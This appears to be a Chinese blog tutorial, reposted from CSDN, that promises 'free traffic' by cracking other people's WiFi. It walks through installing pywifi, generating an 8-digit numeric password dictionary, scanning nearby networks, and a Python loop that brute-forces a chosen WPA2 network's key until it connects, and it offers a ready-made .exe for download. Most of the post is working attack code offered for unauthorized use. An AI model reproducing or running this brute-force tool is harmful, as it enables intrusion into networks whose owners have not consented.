教你用Python破解WiFi,流量自由不再是梦!

版权声明:原创不易,本文禁止抄袭、转载,侵权必究!

一、pywifi简介&安装

开发环境:Windows10 Python3.6.4
第三方库:pywifi-1.1.12
IDE :PyCharm/Sublime Text

pywifi简介:
pywifi是python中一个用于操作无线接口的第三方库,可以跨平台使用,支持Windows和Linux,在这里我们用来执行wifi的操作,包括连接、扫描、断开等

pywifi安装:

pip install comtypes -i https://pypi.doubanio.com/simple
pip install pywifi -i https://pypi.doubanio.com/simple

在这里插入图片描述
pywifi-1.1.12依赖于comtypes,所以也需要安装一下comtypes

二、暴力构建WiFi密码库

WiFi密码一般由数字(0-9)、字母(区分大小写)以及特殊字符(!@#&*.等)组成,为了方便教程的演示,这里仅显示由数字组成的8位字符,作为wifi密码存入txt文档,有些WiFi密码可能稍微复杂一点,延长字符长度或增加字母、特殊字符就行

代码如下:

astring = "1234567890"    #可添加字母和特殊字符
pwds = it.product(astring, repeat=8)    #8位密码长度
with open(filename, 'a', encoding='utf-8') as f:
    for pwd in pwds:    
        f.write(''.join(pwd))
        f.write(''.join('\n'))

在这里插入图片描述

有10位数字组成的暴力破解WiFi密码共有100000000种,内存占用约953.67MB,由此可见,暴力破解对内存的要求比较高

三、编码破解WiFi

WiFi扫描编码:

interface = self.wifi.interfaces()[0]    #使用索引序号0获取第一个无线网卡
interface.scan()
print('扫描WiFi中,请稍后………………')
time.sleep(1)
print('扫描完成!\n' + '*' * 50)
print('\n%s\t%s\t%s' % ('WiFi编号', 'WiFi信号', 'WiFi名称'))
wifiList = interface.scan_results()    #返回一个列表

wifiNewList = []
for w in wifiList:
    wifiNameAndSignal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))   #解决乱码问题并返回元组
    wifiNewList.append(wifiNameAndSignal)

wifi_signal_and_name_list = sorted(wifiNewList, key=lambda i: i[0], reverse=True)    # 按信号强度倒序

index = 0
while index < len(wifi_signal_and_name_list):
    print('%s\t\t\t%s\t\t\t%s' % (index, wifi_signal_and_name_list[index][0], wifi_signal_and_name_list[index][1]))
    index += 1
print('\n' + '*' * 50)

扫描效果如下:
在这里插入图片描述

WiFi破解编码:

profile = pywifi.Profile()    #创建连接文件(对象)
profile.ssid = wifiName        #wifi名称
profile.auth = const.AUTH_ALG_OPEN        #需要认证
profile.akm.append(const.AKM_TYPE_WPA2PSK)    #wifi默认加密算法
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
interface.remove_all_network_profiles()        #删除所有wifi连接文件
tmp_profile = interface.add_network_profile(profile)    #设置新的wifi连接文件

interface.connect(tmp_profile)    #开始尝试连接

startTime = time.time()
while time.time() - startTime < 1.5:
    if interface.status() == 4:
        print('连接成功!%s密码为:%s' % (profile.ssid, pwd))
        exit(0)
    else:
        print('正在尝试用密码 %s 暴力破解…………' % pwd)

控制台破解效果如下:
在这里插入图片描述

打包成.exe可执行文件,测试效果如下:
在这里插入图片描述
在这里插入图片描述
由此可见,暴力破解对内存和时间要求较高!

课后作业:思考一下有啥算法可以优化内存和时间呢?

五、.exe脚本下载

.exe脚本点我下载

  • 不用配置任何环境,即可运行成功(仅支持8位数字密码的WiFi,若想破解更为复杂的WiFi,可在源码中延长字符长度或增加字母、特殊字符就行)
  • astring = "1234567890" #可添加字母和特殊字符 pwds = it.product(astring, repeat=8) #8位密码长度

六、作者Info

Author:小鸿的摸鱼日常,Goal:让编程更有趣!

专注于算法、爬虫,网站,游戏开发,数据分析、自然语言处理,AI等,期待你的关注,让我们一起成长、一起Coding!

版权说明:本文禁止抄袭、转载 ,侵权必究!

猜你喜欢

转载自blog.csdn.net/qq_44000141/article/details/128096169